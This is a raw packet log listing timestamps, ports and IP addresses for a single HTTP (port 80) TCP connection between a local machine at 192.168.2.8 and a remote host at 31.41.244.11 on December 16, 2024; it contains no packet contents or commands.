Dec 16, 2024 17:02:15.537938118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.538005114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.539129019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.539208889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.539242983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.539288998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.539978981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.540029049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.540087938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.540132999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.540985107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.541033030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.541114092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.541158915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.542023897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.542072058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.542200089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.542244911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.543070078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.543118000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.543217897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.543262005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.544169903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.544219017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.544339895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.544382095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.545348883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.545398951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.545469046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.545512915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.546327114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.546375990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.546431065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.546483994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.547394037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.547466040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.547547102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.547599077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.548456907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.548518896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.591658115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.591782093 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.591845989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.591845989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.592216015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.592288017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.592335939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.592386007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.593323946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.593373060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.593394041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.593441010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.594408989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.594456911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.594526052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.594571114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.595441103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.595494986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.595566988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.595613956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.596527100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.596573114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.596648932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.596695900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.597778082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.597831964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.597887039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.597934008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.598671913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.598721027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.598795891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.598841906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.599787951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.599841118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.599904060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.599950075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.600868940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.600924969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.601010084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.601062059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.601907015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.601958990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.601993084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.602041960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.602984905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.603044033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.603082895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.603133917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.604074001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.604147911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.604168892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.604212999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.605151892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.605216980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.605258942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.605314016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.606200933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.606261015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.606331110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.606384039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.607301950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.607367039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.607496977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.607558966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.608374119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.608434916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.608525038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.608571053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.609441042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.609493017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.609534979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.609580040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.610546112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.610595942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.610682964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.610728979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.611664057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.611716986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.611886978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.611932993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.612670898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.612719059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.612782955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.612831116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.613765955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.613815069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.613856077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.613899946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.614860058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.614952087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.614983082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.615031004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.615959883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.616027117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.616084099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.616141081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.617099047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.617170095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.617202997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.617255926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.618140936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.618204117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.618207932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.618252993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.619177103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.619250059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.619309902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.619364977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.620250940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.620307922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.620383024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.620433092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.621323109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.621382952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.621498108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.621548891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.622469902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.622522116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.622550011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.622591019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.623513937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.623610020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.623670101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.623708963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.624568939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.624614000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.624680042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.624722004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.625780106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.625823975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.625948906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.626029968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.626710892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.626754999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.626862049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.626905918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.628088951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.628273010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.628304005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.628353119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.628947973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.628994942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.629086971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.629132986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.629976034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.630022049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.630139112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.630182028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.631053925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.631114006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.631159067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.631215096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.632097960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.632150888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.632239103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.632287979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.633220911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.633275986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.633348942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.633400917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.634265900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.634320974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.634391069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.634434938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.635467052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.635526896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.635670900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.635726929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.636569023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.636626959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.636714935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.636764050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.637682915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.637732029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.637820959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.637868881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.638848066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.638897896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.638958931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.639023066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.639889002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.639941931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.639974117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.640022039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.640758991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.640808105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.640963078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.641011953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.641792059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.641839981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.641927958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.641980886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.643033028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.643084049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.643172026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.643222094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.643935919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.643986940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.644120932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.644171000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.645046949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.645102024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.645220995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.645272017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.646190882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.646241903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.646373987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.646543980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.647272110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.647326946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.647402048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.647447109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.648222923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.648276091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.783737898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.783796072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.783824921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.783839941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.783865929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.783881903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.784027100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.784071922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.784229040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.784240007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.784281969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.784822941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.784871101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.784991026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.785006046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.785033941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.785060883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.785710096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.785757065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.785852909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.785864115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.785901070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.786659002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.786765099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.786874056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.786919117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.787090063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.787137985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.787240028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.787255049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.787283897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.787306070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.788028955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.788074017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.788144112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.788155079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.788192987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.788228035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.788908005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.788952112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.789066076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.789077044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.789118052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.789685011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.789741993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.789839983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.789849997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.789880991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.789906979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.790504932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.790558100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.790632963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.790687084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.790816069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.790863037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.791388988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.791459084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.791528940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.791541100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.791574955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.791600943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.792251110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.792298079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.792360067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.792371035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.792408943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.793055058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.793106079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.793215990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.793227911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.793262005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.793283939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.793916941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.793966055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.794051886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.794063091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.794090986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.794115067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.794847012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.794949055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.794967890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.794980049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.795007944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.795043945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.795667887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.795711994 CET	49708	80	192.168.2.8	31.41.244.11
